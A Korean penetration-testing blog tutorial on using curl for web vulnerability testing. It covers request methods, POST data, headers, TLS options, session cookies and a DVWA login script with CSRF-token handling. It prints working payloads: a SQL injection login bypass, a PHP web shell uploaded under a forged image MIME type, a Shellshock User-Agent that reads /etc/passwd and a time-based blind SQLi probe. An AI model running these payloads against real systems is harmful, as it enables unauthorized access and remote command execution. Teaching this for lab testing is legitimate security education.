Journey to Security/취약점진단|모의해킹

웹 취약점 진단/모의해킹을 위한 curl - 요청 조작부터 세션 유지까지

Cordilog 2026. 7. 16. 15:29

1. curl이란

curl(Client URL)은 커맨드라인에서 URL을 통해 데이터를 전송하는 도구다.

HTTP, HTTPS, FTP 등 다양한 프로토콜을 지원하며, 가장 흔한 용도는 웹 서버에 요청을 보내고 응답을 받는 것이다.

# 가장 기본적인 사용: 웹 페이지의 HTML을 터미널에 출력
curl http://example.com

 

브라우저가 내부적으로 하는 일, 즉 HTTP 요청을 구성하고, 서버에 보내고, 응답을 받아 처리하는 일을 curl을 이용해서 명령 한 줄로 수행할 수 있다.

 

브라우저와의 차이는 요청의 모든 요소를 옵션으로 직접 지정할 수 있다는 점이다.

 

2. 웹해킹 도구로서의 curl

웹 모의해킹은 웹 애플리케이션을 대상으로 공격자 관점에서 요청을 보내 취약점을 찾아내는 행위다.

이때 필요한 건 정상적이지 않은 요청, 즉 조작된 헤더, 악의적 페이로드, 위조된 인증 정보 등을 정밀하게 구성해 서버의 반응을 관찰하는 것이다.

 

브라우저에서는 헤더를 임의로 바꿀 수 없고, 요청 형식을 자유롭게 조작할 수 없다.

curl은 이 두 가지를 모두 충족하는 도구다.

요청의 모든 계층을 옵션으로 조작할 수 있고, 셸 스크립트에 넣어 자동화할 수 있다.

SQLi 페이로드 주입, 파일 업로드 우회, 세션 하이재킹, 응답 시간 기반 취약점 탐지까지 공격 시나리오 대부분이 curl 옵션의 조합으로 표현될 수 있다.

 

전체 요청은 아래 요소들의 조합으로 구성된다.

각 요소를 어떤 옵션으로 조작하는지가 curl 활용의 핵심이다.

[메서드/데이터] + [헤더] + [인증] + [연결 제어] + [출력/디버깅]
       ↓            ↓        ↓          ↓             ↓
   -X -d -F     -H -A -b  -u --ntlm  -L -k -x     -v -i -I -w

 

3. 요청 메서드와 데이터 전송

그렇다면 curl은 각 범주별로 어떤 옵션이 있고, 어떤 공격 시나리오에서 쓰이는지 알아보자.

1️⃣ 메서드 지정과 REST API 테스트

-X <METHOD>는 HTTP 메서드를 지정한다.

REST API에서 PUT, DELETE 같은 메서드가 인증 없이 허용되는지, OPTIONS로 어떤 메서드가 열려 있는지 확인할 때 사용한다.

curl -k -X DELETE https://target/api/users/2

OPTIONS 메서드의 역할은 해당 URL이 어떤 HTTP 메서드를 허용하는지 서버에게 물어보는 것이다.

서버는 Allow 헤더로 허용된 메서드 목록을 응답한다.

curl -k -X OPTIONS -i https://target/api/users
HTTP/1.1 200 OK
Allow: GET, POST, PUT, DELETE, OPTIONS

 

이렇게 DELETEPUT처럼 데이터를 변경·삭제하는 메서드가 인증 없이 열려 있는지를 한눈에 파악할 수 있다.

2️⃣ POST 데이터 주입

HTML의 <form> 태그로 데이터를 제출할 때 브라우저가 사용하는 기본 인코딩 방식이 application/x-www-form-urlencoded다.

이 방식은 데이터를 key=value&key=value 형태로 변환하고, 공백은 +로, 특수문자는 %XX로 인코딩한다.

username=admin&password=p%40ssword

curl에서 -d 옵션을 쓰면 curl이 자동으로 이 Content-Type을 설정하고 POST로 전송한다.

브라우저에서 폼을 제출하는 것과 동일한 방식의 POST 요청폼 인코딩 POST 기능을 의미한다.

 

이 기능은 SQLi나 로그인 우회 페이로드를 주입하는 데 활용한다.

 

웹 로그인 폼을 예로 들어보자.

브라우저에서 아이디와 비밀번호를 입력하고 로그인 버튼을 누르면, 브라우저는 내부적으로 이런 POST 요청을 보낸다.

POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password=1234

서버는 이 값을 받아서 DB에 조회한다.

내부적으로 실행되는 SQL이 이런 형태라고 가정한다.

SELECT * FROM users WHERE username='admin' AND password='1234'

이때 -d로 정상 값 대신 SQL 구문을 깨뜨리는 페이로드를 넣으면, 서버가 그 문자열을 그대로 SQL에 끼워 넣는 경우 쿼리 자체가 변조된다.

curl -k -X POST -d "username=admin' OR '1'='1' -- &password=x" https://target/login

서버에서 실행되는 SQL은 이렇게 바뀐다.

SELECT * FROM users WHERE username='admin' OR '1'='1' -- ' AND password='x'

OR '1'='1'은 항상 참이고, -- 뒤는 주석 처리되어 비밀번호 검증이 통째로 무시된다.

결과적으로 비밀번호를 모르는 상태로 로그인에 성공한다.

 

여기서 중요한 포인트는 서버가 입력값을 검증 없이 SQL에 삽입하는 취약점이 있을 때, -d로 그 입력값 자리에 공격 페이로드를 실어 보낼 수 있다는 점이다.

 

브라우저에서는 폼 필드에 ' OR '1'='1' --를 직접 타이핑해야 하지만, curl은 스크립트에 넣어 자동화하거나 다양한 페이로드를 반복 시도하기에 훨씬 효율적이다.

 

다음과 같이 관련 옵션들이 있으니 참고하자.

옵션 동작 용도
-d '<data>' 폼 인코딩 POST
key=value 형식으로 POST 전송 (application/x-www-form-urlencoded)
SQLi, 로그인 우회
--data-raw '<data>' @를 파일로 해석하지 않고 그대로 전송 @ 포함 페이로드
--data-binary '@file' 파일을 가공 없이 전송 웹셸, 바이너리 페이로드
-G -d 데이터를 쿼리스트링으로 붙여 GET 전송 GET 파라미터 인젝션

 

3️⃣ 파일 업로드 취약점 테스트

브라우저에서 파일을 첨부해 전송할 때는 Content-Type: application/x-www-form-urlencoded가 아니라 Content-Type: multipart/form-data라는 다른 인코딩을 사용한다.

일반 텍스트 폼 데이터(-d)는 key=value 문자열만 보내지만, 파일 업로드는 바이너리 데이터(이미지, 문서 등)를 함께 보내야 하므로 별도의 형식이 필요하기 때문이다.

 

-F는 curl에서 이 multipart/form-data 전송을 수행하는 옵션이다.

즉 브라우저에서 파일 첨부 후 업로드 버튼을 누르는 동작을 다음과 같이 명령 한 줄로 재현한다.

curl -k -F "file=@photo.jpg" https://target/upload

🟢 서버의 파일 검증 방식

서버는 악성 파일 업로드를 막기 위해 보통 두 가지를 검사한다.

  1. 확장자 검사 : 파일 이름이 .jpg, .png 같은 허용된 확장자인지 확인
  2. MIME 타입 검사 : 요청에 포함된 Content-Type 값이 image/jpeg, image/png 같은 이미지 타입인지 확인

MIME 타입은 파일의 종류를 나타내는 문자열이다.

image/jpeg는 JPEG 이미지, application/pdf는 PDF, text/html은 HTML 파일을 의미한다.

브라우저는 파일을 업로드할 때 확장자를 보고 이 MIME 타입을 자동으로 설정한다.

.php 파일을 올리면 application/x-php가 붙는다.

 

🔴 MIME 타입 위조로 우회

문제는 이 MIME 타입이 클라이언트가 전송하는 값이라는 점이다.

서버가 이 값을 신뢰해서 통과시키면, 공격자가 실제 파일은 PHP 웹셸이면서 MIME 타입만 이미지로 속여 업로드할 수 있다.

 

-F 'field=@file'multipart/form-data로 전송하며, 파일 업로드 취약점 테스트의 핵심이다.

MIME 타입을 위조해 서버의 확장자/타입 검증을 우회하는 데 사용한다.

# shell.php의 실제 내용은 웹셸이지만, MIME 타입을 image/png으로 위조
curl -k -F "file=@shell.php;type=image/png" https://target/upload

이 요청에서 일어나는 일은 다음과 같다.


항목 실제 값 서버에 전달되는 값
파일 내용 <?php system($_GET['cmd']); ?> (웹셸) 그대로 전송
MIME 타입 application/x-php (자동 설정값) image/png (위조)

서버가 MIME 타입만 검사하고 파일 내용이나 확장자를 검증하지 않으면 이 웹셸이 업로드에 성공하고, 이후 공격자가 https://target/uploads/shell.php?cmd=whoami 같은 URL로 접근해 서버에서 임의 명령을 실행할 수 있게 된다.

 

브라우저에서는 MIME 타입이 자동으로 결정되므로 이런 위조가 어렵지만, curl의 -F;type= 구문으로 MIME 타입을 자유롭게 지정할 수 있어 파일 업로드 검증 우회 테스트가 가능하다.

4. 헤더 조작

-H 옵션으로 임의 헤더를 추가할 수 있으며, 이는 서버가 특정 헤더를 신뢰하거나 그대로 처리하는 지점을 노릴 때 쓰인다.

  • -H '<header>' : X-Forwarded-For, Content-Type 위조나 인증 토큰 삽입
  • -A '<UA>' : User-Agent 지정. Shellshock 같은 헤더 인젝션이나 WAF 우회에 활용
  • -e '<referer>' : Referer 헤더 설정
  • -b '<cookie>' : 쿠키 전송. 세션 하이재킹, IDOR 테스트
  • -c '<file>' : 응답 쿠키를 파일로 저장

Shellshock는 User-Agent 헤더에 함수 정의 문자열을 삽입해 CGI 환경변수 파싱 취약점을 건드리는 대표 사례다.

curl -k -A "() { :;}; echo; /bin/cat /etc/passwd" https://target/cgi-bin/test.cgi

🟢 CGI가 HTTP 헤더를 처리하는 방식

CGI(Common Gateway Interface)는 웹 서버가 외부 스크립트를 실행하는 방식이다.

Apache 같은 웹 서버가 /cgi-bin/test.cgi로 요청을 받으면, 해당 스크립트를 실행하면서 HTTP 요청 정보를 환경변수로 넘긴다.

이때 HTTP 헤더와 환경변수의 매핑이 이렇게 이루어진다.

HTTP 헤더 CGI 환경변수
User-Agent: Mozilla/5.0 HTTP_USER_AGENT=Mozilla/5.0
Referer: http://example.com HTTP_REFERER=http://example.com
Accept-Language: ko HTTP_ACCEPT_LANGUAGE=ko

User-Agent 헤더

웹 브라우저가 서버에 요청을 보낼 때, 브라우저와 운영체제 정보를 User-Agent 헤더에 담아 보낸다.

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/126.0.0.0

이 문자열을 보고 서버는 클라이언트가 Chrome인지, Firefox인지, 모바일인지, 데스크톱인지를 판단한다.

서버는 이 정보를 보고 브라우저 종류에 맞게 페이지를 다르게 제공하거나, 접속 통계를 수집하게 된다.

 

여기서 중요한 점은 User-Agent의 원래 설계 목적이 이 식별 정보 전달인데, CGI 환경에서는 이 값이 환경변수로 들어가면서 Bash가 파싱하게 되므로, 식별 문자열 자리에 셸 명령을 넣으면 그것이 실행된다는 것이다.

즉, 클라이언트가 보낸 User-Agent 값이 그대로 서버 셸의 환경변수 값이 되는 것이 바로 Shellshock이다.

🔴 Shellshock 취약점의 동작

Bash에는 환경변수를 통해 함수를 정의하는 기능이 있다.

환경변수 값이 () {로 시작하면 Bash가 이를 함수 정의로 인식한다.

Shellshock(CVE-2014-6271)함수 정의가 끝난 뒤에 이어지는 명령까지 실행해버리는 버그다.

(이 버그는 2014년에 패치되었다.)

# 정상적 함수 정의 — 여기서 끝나야 한다
() { :; };

# Shellshock — 함수 정의 뒤의 명령이 실행됨
() { :; }; echo; /bin/cat /etc/passwd

🔴 curl에서의 공격 흐름

이 두 가지를 연결하면 공격이 성립한다.

curl -k -A "() { :;}; echo; /bin/cat /etc/passwd" https://target/cgi-bin/test.cgi
  1. curl이 -A 옵션으로 User-Agent를 () { :;}; echo; /bin/cat /etc/passwd로 설정해 요청을 보낸다
  2. Apache가 CGI 스크립트를 호출하면서 이 값을 환경변수 HTTP_USER_AGENT에 그대로 넣는다
  3. Bash가 이 환경변수를 처리할 때, () {로 시작하므로 함수 정의로 인식한다
  4. 함수 정의(() { :; };) 이후에 붙은 /bin/cat /etc/passwd까지 실행해 버린다
  5. 서버의 /etc/passwd 내용이 응답으로 돌아온다

핵심은 User-Agent는 원래 브라우저 식별 문자열일 뿐인데, CGI가 이를 환경변수로 넘기고, Bash가 그 환경변수를 파싱하는 과정에서 임의 명령이 실행된다는 점이다. curl의 -A 옵션이 이 헤더 값을 자유롭게 지정할 수 있기 때문에 공격 페이로드를 넣을 수 있다.

 

5. 인증과 연결 제어

1️⃣ 인증 옵션

-u user:pass는 Basic 인증을 처리하며 기본 자격증명 테스트나 브루트포싱에 사용한다.

--ntlm, --digest, --negotiate로 인증 방식을 지정할 수 있다.

2️⃣ -k / --insecure의 의미

🔵 HTTPS 인증서 검증 절차

HTTPS 연결에서 curl은 서버가 제시하는 SSL/TLS 인증서를 검증한다.

신뢰할 수 있는 CA(Let's Encrypt, DigiCert 등)가 서명했는지, 도메인 이름이 일치하는지, 만료되지 않았는지를 확인한다.

이 중 하나라도 실패하면 기본적으로 연결을 거부한다.

curl: (60) SSL certificate problem: self-signed certificate

 

🔵 자체서명 인증서

정식 CA에게 발급받지 않고 서버 관리자가 직접 만들어 서명한 인증서다.

공인 CA의 보증이 없으므로 curl은 이 인증서를 신뢰할 근거가 없다고 판단해 연결을 끊는다.

모의침투 실습 환경(DVWA, VMware 내부 랩 등)은 대부분 정식 인증서를 구매하지 않고 자체서명 인증서를 쓴다.

따라서 검증 실패로 접근이 막힌다.

 

🔵 -k의 동작과 사용 이유

-k 또는 --insecure인증서 검증을 건너뛰고 연결을 진행하라는 지시다.

인증서가 자체서명이든, 만료됐든, 도메인이 안 맞든 무시한다.

# -k 없이: 검증 실패로 막힘
curl https://192.168.100.10/

# -k 사용: 검증 무시하고 연결
curl -k https://192.168.100.10/

 

침투 테스트 대상은 IP로 직접 접근하거나 자체서명 인증서를 쓰는 경우가 흔하므로 실무에서는 거의 습관적으로 사용한다.

다만 이름 그대로 안전하지 않은(insecure) 옵션이며, 검증을 끄면 중간자 공격(MITM)에 노출되므로 신뢰하는 테스트 환경에서만 사용한다.

3️⃣ 리다이렉트·프록시·타이밍 제어

  • -L : 리다이렉트 자동 추적
  • --proxy <host:port> / -x : 프록시 경유. Burp 연동 시 -x http://127.0.0.1:8080
  • --connect-timeout, --max-time : 타임아웃 제어. time-based blind 인젝션 탐지에 유용
  • --resolve <host:port:ip> : DNS 강제 매핑. vhost 라우팅 테스트

6. 출력과 디버깅

응답 헤더 확인과 자동화 출력은 스캐닝 효율을 좌우한다.

  • -v : 요청·응답 헤더 전체 확인 (테스트 시 거의 항상 사용)
  • -i : 응답에 헤더 포함
  • -I : HEAD 요청. 서버 배너, 허용 메서드 파악
  • -s : 조용히 실행 (자동화용)
  • -o <file> / -O : 응답 저장
  • -w '%{...}' : 응답 시간·상태 코드 등 커스텀 출력

특히 -s -o /dev/null -w '%{http_code}' 조합은 본문을 버리고 상태 코드만 뽑아내므로 대량 스캐닝 자동화에 적합하다.

time-based blind SQLi는 %{time_total}로 응답 지연을 측정해 탐지한다.

# 상태 코드만 추출 (스캐닝 자동화)
curl -k -s -o /dev/null -w "%{http_code}" "https://target/?id=1"

# time-based blind SQLi 탐지
curl -k -s -o /dev/null -w "%{time_total}" "https://target/?id=1' AND SLEEP(5)-- "

 

여기까지가 curl의 개별 옵션이다.

7. 세션 유지 흐름

이제부터는 이 옵션들을 조합해서 실제 공격 시나리오를 구성하는 흐름, 즉 세션 유지, 인증 뒤 정찰, CSRF 토큰 처리 등을 다룬다.

인증이 필요한 페이지를 테스트하려면 로그인 후 발급된 세션을 유지해야 한다.

기본 패턴은 로그인 → 쿠키 저장(-c) → 이후 요청에 쿠키 사용(-b) 이다.

1️⃣ 세션 유지 원리

서버는 로그인 성공 시 Set-Cookie 헤더로 세션 ID를 발급한다.

클라이언트는 이 쿠키를 저장해 두었다가 이후 요청마다 함께 전송해 인증 상태를 증명한다.

curl은 브라우저와 달리 상태를 자동으로 기억하지 않으므로, 쿠키를 파일에 저장하고 다시 읽어 전송하는 과정을 명시적으로 구성해야 한다.

2️⃣ 기본 3단계

🔵 로그인해서 쿠키 저장 (-c)

curl -k -c cookies.txt -X POST \
  -d "username=admin&password=admin" \
  https://target/login

저장된 cookies.txt는 Netscape 쿠키 형식이며, 열어 보면 PHPSESSID 같은 세션 값을 확인할 수 있다.

 

🔵 저장한 쿠키로 인증 페이지 접근 (-b)

curl -k -b cookies.txt https://target/admin/dashboard

 

🔵 저장과 전송을 동시에 (세션 갱신 유지)

로그인 후 서버가 세션 ID를 재발급(session fixation 방어)하는 경우, -b와 -c를 함께 걸어야 최신 쿠키가 유지된다.

curl -k -b cookies.txt -c cookies.txt https://target/mypage

3️⃣ 쿠키 문자열 직접 지정

파일 없이 이미 알고 있는 세션 값을 인라인으로 전송할 수 있다. IDOR나 세션 하이재킹 테스트에 사용한다.

# 단일 쿠키
curl -k -b "PHPSESSID=abc123def456" https://target/user?id=2

# 여러 쿠키는 세미콜론으로 구분
curl -k -b "PHPSESSID=abc123; role=admin" https://target/admin

 

8. 획득한 세션으로 인증 뒤 정찰

로그인을 우회해 세션을 확보했다면, 그 세션으로 인증 뒤에 숨은 페이지를 가져오고 그 안의 이동 경로를 뽑아내는 것이 다음 단계다.

세션 확보 → 대시보드 수집 → 링크·폼 추출로 이어지는 이 흐름은 인증 뒤 영역의 공격 표면을 파악하는 정찰(reconnaissance)에 해당한다.

1️⃣ 세션 쿠키로 대시보드 HTML 수집

curl -s -b cookies.txt http://192.168.100.35:8080/dashboard
  • -s : Silent 모드. 진행률 표시 없이 결과 본문만 출력한다.
  • -b cookies.txt : 앞서 저장해 둔 세션 쿠키를 요청에 첨부해 인증된 상태로 /dashboard를 요청한다.

즉, SQLi로 우회한 세션을 이용해 로그인 후에만 볼 수 있는 대시보드 HTML을 그대로 가져오는 부분이다.

HTML 안에는 추가 공격 표면이 될 링크와 폼 경로가 들어 있다.

2️⃣ href·action 경로 추출

수집한 HTML을 그대로 읽는 대신, 이동 경로와 폼 제출 대상만 골라내면 공격 표면을 빠르게 파악할 수 있다.

파이프로 grep을 연결한다.

curl -s -b cookies.txt http://192.168.100.35:8080/dashboard \
  | grep -oP '(href|action)="[^"]*"'

 

🔵 grep 옵션

  • -P : Perl 호환 정규식(PCRE)을 사용한다.
  • -o : 전체 라인이 아니라 패턴에 걸린 문자열만 추출한다.

🔵 추출 대상의 의미

이 명령은 HTML 소스에서 href="..."action="..." 형태의 문자열을 모두 찾아낸다.

  • href<a href="..."> 링크. 다른 페이지로 이동하는 경로들이다. 인증 이후 접근 가능한 내부 페이지 목록을 파악하는 단서가 된다.
  • action<form action="...">. 폼 제출 대상으로, 게시글 작성·파일 업로드·검색 같은 입력 처리 지점을 가리킨다. 이 지점들이 곧 SQLi, 파일 업로드, XSS 등을 시도할 후속 공격 대상이 된다.

9. DVWA 실전 예시 — CSRF 토큰 처리까지

DVWA처럼 로그인 폼에 user_token(CSRF 토큰)이 있는 경우, 토큰을 먼저 뽑아내고 쿠키와 함께 전송해야 로그인이 성립한다.

흐름은 초기 페이지 요청 → 토큰·쿠키 획득 → 토큰과 쿠키로 로그인 → 인증 상태로 취약점 페이지 접근이다.

# 1) 로그인 페이지에서 CSRF 토큰과 초기 쿠키 획득
TOKEN=$(curl -k -s -c cookies.txt "https://target/login.php" \
  | grep 'user_token' | sed "s/.*value='\([a-f0-9]*\)'.*/\1/")

# 2) 토큰 + 쿠키로 로그인
curl -k -b cookies.txt -c cookies.txt -X POST \
  -d "username=admin&password=password&user_token=$TOKEN&Login=Login" \
  "https://target/login.php"

# 3) 인증된 쿠키로 취약점 페이지 접근
curl -k -b cookies.txt "https://target/vulnerabilities/sqli/?id=1&Submit=Submit"

 

이 3단계 스크립트를 SQLi나 파일 업로드 시나리오 앞단에 붙이면 인증이 필요한 페이지까지 한 번에 자동화할 수 있다.